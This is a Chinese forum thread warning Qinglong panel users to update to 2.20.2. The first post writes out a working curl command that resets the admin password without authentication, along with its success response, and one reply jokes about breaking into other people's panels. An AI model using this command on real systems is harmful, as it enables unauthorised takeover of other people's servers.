青龙漏洞，无密码登录任意面板，赶快更新最新版。

只要不是最新版2.20.2，用户密码被任意修改。
执行：curl -X PUT "http://IP:5700/open/user/init" -H "Content-Type: application/json" -d '{"username": "123", "password": "123"}'
返回：
{"code":200,"message":"更新成功"}
我的刚发现被改了， 还被挂了个脚本

青龙漏洞，无密码登录任意面板，赶快更新最新版。
青龙漏洞，无密码登录任意面板，赶快登录别人的机器。

HOH 发表于 2026-3-8 22:38
青龙漏洞，无密码登录任意面板，赶快更新最新版。
青龙漏洞，无密码登录任意面板，赶快登录别人的机 ...
理解能力超强

没暴露到外网，不用担心吧。

随便找了几个都报错

不敢用

还能用吗

SpaceX 发表于 2026-3-9 08:44
随便找了几个都报错
上周开始的。大半暴露在公网的应该都已经发现了异常，然后更新了。只有个别不上心的人没更新。比如我有一台平常不咋用的就昨天刚更新。